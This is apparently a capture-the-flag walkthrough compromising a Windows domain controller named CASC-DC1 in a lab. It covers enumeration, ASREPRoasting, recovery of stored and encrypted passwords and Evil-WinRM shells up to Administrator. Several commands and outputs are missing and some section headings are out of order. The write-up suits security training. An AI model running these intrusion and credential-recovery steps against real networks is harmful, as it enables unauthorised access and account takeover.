We can apply a little filter to the cascade.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information
Note that this scan is also exported to have evidence at hand
# Nmap 7.94SVN scan initiated Sat Oct 11 18:59:37 2025 as: nmap -p53,88,135,139,389,445,636,3268,3269,5985,49154,49155,49157,49158,49165 -sCV -v -n -Pn --disable-arp-ping -oN cascade.targeted 10.129.93.0Nmap scan report for 10.129.93.0Host is up (0.10s latency).PORT STATE SERVICE VERSION53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)| dns-nsid:|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-11 16:59:45Z)135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)445/tcp open microsoft-ds?636/tcp open tcpwrapped3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found49154/tcp open msrpc Microsoft Windows RPC49155/tcp open msrpc Microsoft Windows RPC49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.049158/tcp open msrpc Microsoft Windows RPC49165/tcp open msrpc Microsoft Windows RPCService Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windowsHost script results:| smb2-time:| date: 2025-10-11T17:00:38|_ start_date: 2025-10-11T16:41:29| smb2-security-mode:| 2:1:0:|_ Message signing enabled and requiredRead data files from: /usr/bin/../share/nmapService detection performed. Please report any incorrect results at https://nmap.org/submit/ .# Nmap done at Sat Oct 11 19:01:16 2025 -- 1 IP address (1 host up) scanned in 98.79 seconds
139, 445 - SMB
As always, we start enumerating the SMB service in order to gather some interesting information such as the hostname, domain name, OS version installed and other important aspects
nxc smb 10.129.93.0
Command Output
SMB 10.129.93.0 445 CASC-DC1 [*] Windows 7 / Server 2008 R2 Build 7601 x64 (name:CASC-DC1) (domain:cascade.local) (signing:True) (SMBv1:False)
Based on Nmap previous results and the above output, it seem that we are against a Domain Controller, a Windows Server 2008 specifically
Let’s add an entry to the /etc/hosts file related to its hostname, domain name and FQDN, all of them pointing to the given IP Address
Remember that this step is crucial for any kerberos-related enumeration or attack as this protocol has a strong dependence on the DNS protocol
It is always recommended to use different tools when listing SMB shares
This time we have also used SMBMap and smbclient (Samba Suite), but we got same results
Let’s move on to the next service!
53 - DNS
On Active Directory, usually the DC acts as the DNS nameserver for the all the domain-joined computers. The feature or service related to DNS on AD is called Active Directory Integrated Domain Name System (ADIDNS)
By default, all authenticated domain users are able to list all existent records on the domain DNS Zone
Therefore, once an operator obtain valid domain credentials, it is very easy to get all information he needs related to DNS
At the moment, without valid credentials, we cannot do much apart from trying a Domain Zone Transfer
dig AXFR cascade.local @10.129.93.0
Command Output
; <<>> DiG 9.18.33-1~deb12u2-Debian <<>> AXFR cascade.local @10.129.93.0;; global options: +cmd; Transfer failed.
As expected, we got nothing here either
135 - RPC
On the other hand, we have the RPC Endpoint Mapper listening on port 135
This microsoft service is listening for incoming requests from RPC Clients and it automatically maps any RPC Endpoint to a certain dynamic port[s] or system namedpipe[s]
The most interesting thing to list usually via RPC are the domain user accounts and groups, so let’s check this out
With a user list, we can check if any of the above user accounts is susceptible to ASREPRoast
Remember that this attack checks if the given user account has enabled the flag USER_DONT_REQ_PREAUTH on the UserAccountControl attribute by initiating an AS Exchange with the KDC’s AS
An operator uses a kerberos client to send an AS_REQ without any encrypted timestamp and for a certain client name
If the AS does not respond with a ERR_PREAUTH_REQUIRED, the client will receive an AS_REP contaning a TGT and an encrypte_part. The latter is encrypted with a key derived from the user account password
Therefore, an adversary could try to crack it in order to obtain the plain password of the given user account
For such a task, we usually use Impacket’s GetNPUsers.py
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies[-] User a.turnbull doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User arksvc doesn't have UF_DONT_REQUIRE_PREAUTH set[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] User BackupSvc doesn't have UF_DONT_REQUIRE_PREAUTH set[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] User d.burman doesn't have UF_DONT_REQUIRE_PREAUTH set[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)[-] User j.allen doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User j.goodhand doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User j.wakefield doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User r.thompson doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User s.hickson doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User s.smith doesn't have UF_DONT_REQUIRE_PREAUTH set[-] User util doesn't have UF_DONT_REQUIRE_PREAUTH set
But there is no user account with the mentioned flag enabled on its UserAccountControl attribute
So, let’s continue with LDAP
389, 636 - LDAP
There are times when the anonymous LDAP binding is enabled. So, we could check for it
Take into account that we can grab much more information via LDAP about the domain and its objects and associated attributes
First, we need to extract the Domain Naming Contexts
ldapsearch -LLL -x -H 'ldap://casc-dc1.cascade.local' -s base namingContexts
It was clear that the password belonged to r.thompson as it is an attribute’s value of this account. But it is always recommended to check for password reuse in other user accounts and so on
And now we have valid domain credentials, so we can start listing the registered Service Principal Names for any domain user account
Take into account that computer account passwords are generated randomly by the DC and are robust, so there is no chance an operator could crack one unless the password for the given computer account was set manually by the sysadmin
Therefore, based on that, we are interested on SPNs registered for user accounts
Any authenticated kerberos client, presenting the corresponding TGT , could initiate a TGS Exchange to the KDC’s Ticket Granting Service in order to request a Service Ticket for a certain SPN
The kerberos client would receive a TGS_REP mainly contaning two elements, the service ticket and a encrypted part
This service ticket is always encrypted with a key derived from the password of the principal for which the given SPN is registered. In the other hand, the encrypted_part contains the kerberos session key related to the issued service ticket and is encrypted with the TGT’s session key, which was stored within the TGT presented by the kerberos client in the TGS_REQ
So, again, an adversary could try to crack the service ticket in order to obtain the plain password of the given user kerberos principal
We can list all the existent Service Principal Names attributes on the domain as follows
[+] IP: casc-dc1:445 Name: unknown Disk Permissions Comment ADMIN$ NO ACCESS Remote Admin Audit$ NO ACCESS C$ NO ACCESS Default share Data READ ONLY IPC$ NO ACCESS Remote IPC NETLOGON READ ONLY Logon server share print$ READ ONLY Printer Drivers SYSVOL READ ONLY Logon server share
Within the shares for which we have read permissions, we are interested on SYSVOL and Data for the moment
We should already know that the SYSVOL directory may contains a groups.xml file, which in turn contains a cpassword string encrypted with a symmetric key published by Microsoft some time ago
For this task, we could either mount locally the shared folders or carry out a recursive search with SMBMap
Nothing interesting here apart from two Visual Basic scripts. It seems that they were created to perform some type of share mounting automatically. These type of scripts usually contain credentials, but this is not the case, so, we move on to the next one
Data
This time we will mount the given share locally, simply proceed as follows
mkdir Data
cd !$ && mount --type cifs --options 'username=r.thompson,password=rY4n5eva,domain=cascade.local' '//10.129.93.0/Data' .
From the output above, we can extract two interesting things. First, they created a temporal user account for testing and deleted it once the migration was completed
Therefore, we shoud take into account domain deleted objects
In the other hand, it says that the password of this deleted account is the same as for the administrator user. So, if we manage to get the sufficient rights in order to inspect the AD deleted objects, we may get some interesting information
In addition to this, we have a VNC installation registry file
Let’s check its content
cat "Data/IT/Temp/s.smith/VNC Install.reg"
VNC Install.reg
Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC][HKEY_LOCAL_MACHINE\SOFTWARE\TightVNC\Server]"ExtraPorts"="""QueryTimeout"=dword:0000001e"QueryAcceptOnTimeout"=dword:00000000"LocalInputPriorityTimeout"=dword:00000003"LocalInputPriority"=dword:00000000"BlockRemoteInput"=dword:00000000"BlockLocalInput"=dword:00000000"IpAccessControl"="""RfbPort"=dword:0000170c"HttpPort"=dword:000016a8"DisconnectAction"=dword:00000000"AcceptRfbConnections"=dword:00000001"UseVncAuthentication"=dword:00000001"UseControlAuthentication"=dword:00000000"RepeatControlAuthentication"=dword:00000000"LoopbackOnly"=dword:00000000"AcceptHttpConnections"=dword:00000001"LogLevel"=dword:00000000"EnableFileTransfers"=dword:00000001"RemoveWallpaper"=dword:00000001"UseD3D"=dword:00000001"UseMirrorDriver"=dword:00000001"EnableUrlParams"=dword:00000001"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f"AlwaysShared"=dword:00000000"NeverShared"=dword:00000000"DisconnectClients"=dword:00000001"PollingInterval"=dword:000003e8"AllowLoopback"=dword:00000000"VideoRecognitionInterval"=dword:00000bb8"GrabTransparentWindows"=dword:00000001"SaveLogToAllUsersPath"=dword:00000000"RunControlInterface"=dword:00000001"IdleTimeout"=dword:00000000"VideoClasses"="""VideoRects"=""
And we have a password field with a hexadecimal value
However, if we convert the hexadecimal value to its raw format, we get the following encrypted string
So, it seems that we must know the symmetric encryption key in order to decrypt it
A quick Google search reveals that the value of this static key is publicly available. Therefore, we could proceed as follows in order to obtain the plain text value
[*] Connecting to host...[*] Binding to host[+] Bind OK[*] Starting domain dump[+] Domain dump finished
Next, we setup an HTTP Server in order to browse the generated files properly
python3 -m http.server 80
Users
Zoom in
Now we know that we can establish a WinRM session with the target as the user s.smith as this account belongs to the Remote Management Users group
Moreover, it belongs to the Audit Share group, a non standard group. Remember that there is an available share in the target called Audit, but we did not have read permissions on it as r.thompson. We should check it again as s.smith
In the other hand, the user arksvc user account belongs to the AD Recycle Bin group. Be aware that the DC allows any user account belonging to this group to list the AD deleted objects and its properties
Therefore, it would be interesting to take control over this account in order to check for any deleted user account and its attributes such as the user TempAdmin, which was mentioned in the email message we read earlier
Groups
There is nothing interesting apart from the groups below
Zoom in
139, 445 - SMB
So, let’s list the available shares in the target as s.smith to see if we have another set of permissions on them
[+] IP: casc-dc1:445 Name: unknown Disk Permissions Comment ADMIN$ NO ACCESS Remote Admin Audit$ READ ONLY C$ NO ACCESS Default share Data READ ONLY IPC$ NO ACCESS Remote IPC NETLOGON READ ONLY Logon server share print$ READ ONLY Printer Drivers SYSVOL READ ONLY Logon server share
Information Leakage on Source Code using a .Net Decompiler and Password Decryption
There is a file called Audit.db, which may be a SQLite3 file
file "Audit/DB/Audit.db"
NOTE
Audit/DB/Audit.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 60, database pages 6, 1st free page 6, free pages 1, cookie 0x4b, schema 4, UTF-8, version-valid-for 60
Let’s dump all the data contained within it as follows
sqlite3 "Audit/DB/Audit.db" .dump
Command Output
PRAGMA foreign_keys=OFF;BEGIN TRANSACTION;CREATE TABLE IF NOT EXISTS "Ldap" ( "Id" INTEGER PRIMARY KEY AUTOINCREMENT, "uname" TEXT, "pwd" TEXT, "domain" TEXT);INSERT INTO Ldap VALUES(1,'ArkSvc','BQO5l5Kj9MdErXx6Q6AGOw==','cascade.local');CREATE TABLE IF NOT EXISTS "Misc" ( "Id" INTEGER PRIMARY KEY AUTOINCREMENT, "Ext1" TEXT, "Ext2" TEXT);CREATE TABLE IF NOT EXISTS "DeletedUserAudit" ( "Id" INTEGER PRIMARY KEY AUTOINCREMENT, "Username" TEXT, "Name" TEXT, "DistinguishedName" TEXT);INSERT INTO DeletedUserAudit VALUES(6,'test',replace('Test\nDEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d','\n',char(10)),'CN=Test\0ADEL:ab073fb7-6d91-4fd1-b877-817b9e1b0e6d,CN=Deleted Objects,DC=cascade,DC=local');INSERT INTO DeletedUserAudit VALUES(7,'deleted',replace('deleted guy\nDEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef','\n',char(10)),'CN=deleted guy\0ADEL:8cfe6d14-caba-4ec0-9d3e-28468d12deef,CN=Deleted Objects,DC=cascade,DC=local');INSERT INTO DeletedUserAudit VALUES(9,'TempAdmin',replace('TempAdmin\nDEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a','\n',char(10)),'CN=TempAdmin\0ADEL:5ea231a1-5bb4-4917-b07a-75a57f4c188a,CN=Deleted Objects,DC=cascade,DC=local');DELETE FROM sqlite_sequence;INSERT INTO sqlite_sequence VALUES('Ldap',2);INSERT INTO sqlite_sequence VALUES('DeletedUserAudit',10);COMMIT;
And it seems that we have another base64-encoded password
BQO5l5Kj9MdErXx6Q6AGOw==
However, it was not going to be as easy as base64 decode it. It is also encrypted
But this time we do not know any information about it, neither the symmetric encryption key, nor the IV, nor the encryption algorithm, nor anything else
But, we have an EXE and DLL binaries. They seem to be customized. If we extract the MD5 hash from both and search for them on Google, we get nothing
We should check what type of binaries they are
find ./Audit -iname 'Casc*' -type f -exec file {} \;
Command Output
./Audit/CascAudit.exe: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections
./Audit/CascCrypto.dll: PE32 executable (DLL) (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 4 sections
And they are .Net assembly files.
If we continue inspecting the remaning resources in the Audit share, we find out the following batch script
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
It executes the CascAudit.exe binary passing it as first argument the SQLite3 database
Therefore, it seems that this binary contains or uses some logic in order to open and process the database
Let’s use a .NET decompiling tool, such as DotPeek or DNSPy, to take a look at its source code
To do so, simply use a Window Machine, transfer both binaries and open them with DotPeek
CascAudit.exe
Zoom in
Fist, the main function initiates a new SQLite connection to the provided file as the first argument, this time would be the Audit.db file
Then, it retrieves the base64 encrypted password from the pwd column of the Ldap table and calls a function called DecryptString
When calling that decryption function, it provides the encrypted password as first argument and a string as second argument
The latter seems to be the encryption key
CascCrypto.dll
Zoom in
Here, we can verify that the second argument passed to the DecryptString function in CascAudit.exe is the encryption key
Moreover, the IV is not generated randomly at runtime, but rather is an static value
And lastly, we have the encryption algorithm used
Therefore, we have all we need in order to decrypt the base64-encoded object stored in the SQLite3 database
To do so, we could use any programming language that has a library/module which implements the required logic
In this case, we will use a code snippet from the PyCryptodome Python library and the CyberChef website
Python
Just create a python script with the following decryption function and all the corresponding data
Simply enter the corresponding parameters and let’s it cook 😊
And we have another password!
w3lc0meFr31nd
This is probably the password for the arcsvc user account as there is only one row inside the SQLite3 database and the value for the user column is the arcsvc string
sqlite3 Audit/DB/Audit.db 'select * from ldap;'
Command Output
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
Regardless of that, we will perform another password spraying with that password and our user list
Evil-WinRM shell v3.5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machineData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\arksvc\Documents>```
And we are in!
Privesc #3
Initial Non-Privileged User → ArkSvc
Information Leakage in an LDAP attribute of a Deleted User Account Object via AD Recycle Bin membership
First, let’s check the privileges associated with the access token of the current network logon session
whoami /priv
Command Output
PRIVILEGES INFORMATIONPrivilege Name Description State============================= ============================== =======SeMachineAccountPrivilege Add workstations to domain EnabledSeChangeNotifyPrivilege Bypass traverse checking EnabledSeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Bute there is nothing interesting
Next, we check the groups to which the user belongs
whoami /groups
Command Output
GROUP INFORMATION-----------------Group Name Type SID AttributesEveryone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled groupBUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled groupBUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled groupNT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled groupCASCADE\Data Share Alias S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Enabled by default, Enabled group, Local GroupCASCADE\IT Alias S-1-5-21-3332504370-1206983947-1165150453-1113 Mandatory group, Enabled by default, Enabled group, Local GroupCASCADE\AD Recycle Bin Alias S-1-5-21-3332504370-1206983947-1165150453-1119 Mandatory group, Enabled by default, Enabled group, Local GroupCASCADE\Remote Management Users Alias S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Enabled by default, Enabled group, Local GroupNT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
As mentioned earlier, the current user belongs to the AD Recycle Bin group. Therefore, we should be able to check all the objects deleted from the domain
We are interested on deleted user accounts specifically. So, we could proceed as follows from the target
Evil-WinRM shell v3.5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machineData: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo: Establishing connection to remote endpoint*Evil-WinRM* PS C:\Users\Administrator\Documents>